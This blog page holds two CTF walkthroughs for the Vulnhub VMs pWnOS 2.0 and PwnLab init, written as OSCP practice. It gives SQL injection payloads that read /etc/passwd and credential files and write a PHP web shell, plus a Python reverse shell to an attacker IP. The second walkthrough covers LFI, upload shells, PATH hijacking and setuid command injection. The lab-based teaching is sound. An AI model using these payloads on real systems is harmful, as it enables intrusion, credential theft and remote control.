Monday, February 12, 2018

Vulnhub VM Walkthrough: pWnOS 2.0

I have a lot of fun with vulnerable VMs from Vulnhub, but don't normally post any walkthroughs as there are plenty posted already.  However, in preparation for OSCP, in order to work on my skills in "writing the report as you go", I've decided to post a few walkthroughs for some of the more interesting/fun VMs I've done.

This VM is called pWnOS 2.0 .  It's a good SQL injection exercise.
The purpose of this CTF is to get root. 

Let's get started!


We start with our enumeration.  I've customized Mike Czumak's python enumeration scanner script, so it's a "hit enter and wait" while it runs nmap, dirb, cewl, nikto, wfuzz, some brute forcers, and a whole bunch of other things.  

Looking at the "quick" nmap scan output shows several ports open:



ssh and a web server.  I normally like to check out the web server first, so I fire up Burp Suite and Firefox and give it a look:




There's a login screen that we can check for SQL injection.  In the interest of time I pass a simple login to Burp Suite, then add the content to sqlmap to look for any goodies:




sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3




And we discover that the "email" parameter is vulnerable to SQL injection.  The UNION query type will be quite helpful in a moment.

Before getting our hands dirty, we use sqlmap to give us the password hashes within the databases we have access to:


sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3 --dbs

sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3 -D mysql -T user --dump




sqlmap -u "http://pwnos/login.php" --data="email=email&pass=password&submit=Login&submitted=TRUE" --cookie=PHPSESSID=0osjtsu01sfal7bs9eggs5mna0 --level=5 --risk=3 -D ch16 --dump




Online attempts to crack those hashes were non-productive, so we'll have to get in another way.

NOW, the OSCP frowns on the use of sqlmap in the exam, because if you really want to learn SQL injection, you have to do it by hand.  So it's time for some manual SQL injection, what we came here for!

First, we send our post request to the repeater in Burp Suite so we can modify it:

email=email&pass=pass&submit=Login&submitted=TRUE
 

Next we find how many columns for our SELECT query by using ORDER BY.  We start with 1 and continue counting upward until we get an "unknown column" error:

email=' order by 1-- -&pass=pass&submit=Login&submitted=TRUE
email=' order by 2-- -&pass=pass&submit=Login&submitted=TRUE

...
email=' order by 9-- -&pass=pass&submit=Login&submitted=TRUE





So we have 8 columns.  Now let's see which one is sending output:

email=' union select 1,2,3,4,5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE




Let's replace field number 4 with a user() query to see what account MySQL is running under:


email=' union select 1,2,3,user(),5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE

 



It's running as root.  Now let's obtain the column names from the table named "users":


email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- &pass=pass&submit=Login&submitted=TRUE

 


Now let's grab the first user's id, first and last name, and password.  Note that we have to use
0x3a in-between fields, as it is the value of a colon (:).

email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- -&pass=pass&submit=Login&submitted=TRUE

 


The user's name is Dan Privett.  We'll tuck that away if we need it.


Now let's use the load_file function to look at some files on the server.  First, /etc/passwd:

email=' union select null,null,null,load_file('/etc/passwd'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE





There's dan's account at the bottom.  Let's look at the login.php file for some credentials:

email=' union select null,null,null,load_file('/var/www/login.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE




It points us to an 'includes/config.inc.php' file, so we'll follow the trail:

email=' union select null,null,null,load_file('/var/www/includes/config.inc.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE




And this one points to '../mysqli_connect.php' so we'll take a look at it:

email=' union select null,null,null,load_file('/var/www/mysqli_connect.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE




And we have a root password for MySQL!  Checking to see if root is guilty of password reuse, we try to ssh into the server using that password, to no avail.  So let's write a file of our own that we can use for command injection:

email=' union select null,null,null,"<?php system($_GET['cmd']);?>",null,null,null,null into outfile '/var/www/shell.php'-- -&pass=pass&submit=Login&submitted=TRUE
 

We need to confirm that our shell is written successfully:

email=' union select null,null,null,load_file('/var/www/shell.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE





Yup!  Our shell can be accessed at http://pwnos/shell.php?cmd=[command].
Running some commands:


http://pwnos/shell.php?cmd=uname -a

\N \N \N Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux \N \N \N \N


We see the OS and server version.  Since we really want a reverse shell, let's see if python is installed:

http://pwnos/shell.php?cmd=which python

\N \N \N /usr/bin/python \N \N \N \N

Winner!  Let's execute a python reverse shell one liner using our shell.php:


http://pwnos/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.129",2545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

We launch a netcat listener on our box, then hit enter with the above python one-liner, and bingo, we're in!  We spawn a tty using python:



This is where things got simple, but only if you are enumerating as you go.  Simply nosing around the web server directories, we traversed down one directory and saw another mysqli_connect.php.  Looking at it, it had a very different password:



Is it that easy?  We su to root using it, and success!!!



This is a great VM for practicing manual SQL injection.


Friday, February 2, 2018

Vulnhub VM Walkthrough: PwnLab init

I have a lot of fun with vulnerable VMs from Vulnhub, but don't normally post any walkthroughs as there are plenty posted already.  However, in preparation for OSCP, in order to work on my skills in "writing the report as you go", I've decided to post a few walkthroughs for some of the more interesting/fun VMs I've done.

This VM is a relatively easy but it's a really fun one.  It's called PwnLab: Init. The purpose of this CTF is to get root and read the flag.


Let's get started!

We start with our enumeration.  I've customized Mike Czumak's python enumeration scanner script, so it's a "hit enter and wait" while it runs nmap, dirb, cewl, nikto, wfuzz, some brute forcers, and a whole bunch of other things.  

Looking at the "quick" nmap scan output shows several ports open:



Port 39392 is interesting, but let's set that aside for now.  The VM is running a web server and mysql is open, always a tempting target.

Looking at the web server, it appears to be there to upload and share images.  



Dirbuster's output shows the upload and image directories:



The Login page:


Standard operating procedure here is try common username/password combinations and SQL injection.  No joy, and running sqlmap came up empty.  

The URL of 

http://pwnlab/?page=login

begs for local file inclusion (LFI), but that also provided no success.  Trying "login type confusion", such as 

user[]=user&pass[]=pass&submit=Login 

didn't work either.  Then I tried LFI using PHP protocol wrappers.  Wrappers allow you to operate on resources as if they were regular local files. This request will base64 encode the php config:


And we're provided with a web page with the php config output in base64.  Decoding the base64:


We have the MySQL root password.  Since the MySQL port is open on the system, we can use that password to login to MySQL remotely:

 
 We can find user passwords encoded in the "users" database:



We decode the base64 and have our usernames and passwords:

 kent  JWzXuBJJNy
 mike  SIfdsTEn6I
 kane  iSv5Ym2GRo

 
We then proceed to login as kent, which brings us to an apparent image upload page:



Uploading php shells failed, as the web server wouldn't let us upload anything with a .php extension.  gif and jpg/jpeg gave us an "Error 002" message.  However, uploading anything *.png worked, and the resulting page source provided us with a link to the image we uploaded. 

http://pwnlab/upload/b4ecd5805c3dd4b0ff809446e374db97.png

So a php reverse shell was uploaded as phpshell.png by adding GIF89; to the top of the file.  Our listener was setup:

nc -nvlp 2545

However, when the uploaded file was accessed, no code ran and an error was shown:



I tried a simple cmd upload that didn't work either:

root@kali2:~/current/tools# cat cmd.png
GIF89;
<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>



A Google search on "when your uploaded php reverse shell won't run commands properly" provided information about a file inclusion vulnerability on the cookie parameter (lang= ).  The following line is an example of the local file inclusion vulnerability in PHP:

require_once($LANG_PATH . ‘/’ . $_GET[‘lang’] . ‘.php’);

 
In this case an attacker controls the "lang" variable and can thereby force the application to execute an arbitrary file as code. The attacker does not however control the beginning of the require_once() argument, so including a remote file would not be possible. To exploit this I set the "lang" variable to the name of my uploaded php reverse shell, using my favorite tool, Burp Suite:






Send it, and we get a shell!  We spawn a tty using python, then see that we are logged in as the web service:






We grab kernel and distribution information for potential future use:

www-data@pwnlab:/$ uname -a
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 

www-data@pwnlab:/$ cat /etc/*-release
cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
 

Since we already have some usernames and passwords, let's try to login as one!

su kent
Password:
JWzXuBJJNy

kent@pwnlab:/$

We easily login as kent.  We quickly discover that sudo isn't installed, so we can't run commands as root from this account.

kent@pwnlab:~$ sudo -l
sudo -l
bash: sudo: command not found


Nothing really interesting was found logged in as kent, so let's try logging in as mike:


kent@pwnlab:~$ su mike
su mike
Password: SIfdsTEn6I
su: Authentication failure

 

Mike is smart and didn't use the same password he used on the website. =)
Let's try the last user, kane:

kent@pwnlab:~$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/home/kent$


We login as kane with no problem.  Of course, we might have been able to login as these individuals via ssh right away, but I didn't try that. =)

Moving into kane's home directory, we see an interesting file:
 

-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike

file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped


It's a binary, not a script.  It's setuid to mike, so when we run it, it runs with mike's rights and permissions.  We give it a try:

kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

 
It's immediately noticeable that the program executes "cat" on a file in mike's home directory.  In this case, we may be able to fool the program into running our version of "cat", in order to get a shell as mike.  Since right now we are logged in as kane and in kane's home directory, let's create a file called "cat" in kane's home directory:


echo "/bin/bash" > cat
chmod +x cat


Now that we have our "cat" that will execute a shell, we need to tell our shell to run our local version of cat before running /bin/cat.  We'll do this by prepending the local directory (".") in front of our normal PATH:


export PATH=.:$PATH


Now we run msgmike again:

kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$

 

our local "cat" runs, launches bash, and we are now mike!  

Now that we are mike, let's look around.  Another interesting file exists in mike's home directory:

-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root


file msg2root
msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped


We see a program that apparently is used to send messages to root.  It's setuid root, which means it runs with root's rights and permissions, which is always glorious. =)  When we run it, it prompts us for a message:
 
mike@pwnlab:/home/mike$ ./msg2root
Message for root: Hello
Hello


It simply echos the message.  Anything that prompts for input should always be thoroughly tested.  Running "strings" on the file determines that it uses asprint, not "echo", so creating a local version of "echo" similar to what we did with "cat" wouldn't work here.

strings msg2root
stdin
fgets
asprintf


But one of the first things we always try is appending a shell execution command after our message with a semicolon:

mike@pwnlab:/home/mike$ ./msg2root
Message for root: hello; /bin/bash
Hello

mike@pwnlab:/home/mike$

Hmmm....that didn't work.  I've ran into occasions where specifying /bin/sh does, however.  Changing /bin/bash to /bin/sh gives us a root shell and the flag:



A fun VM!  =)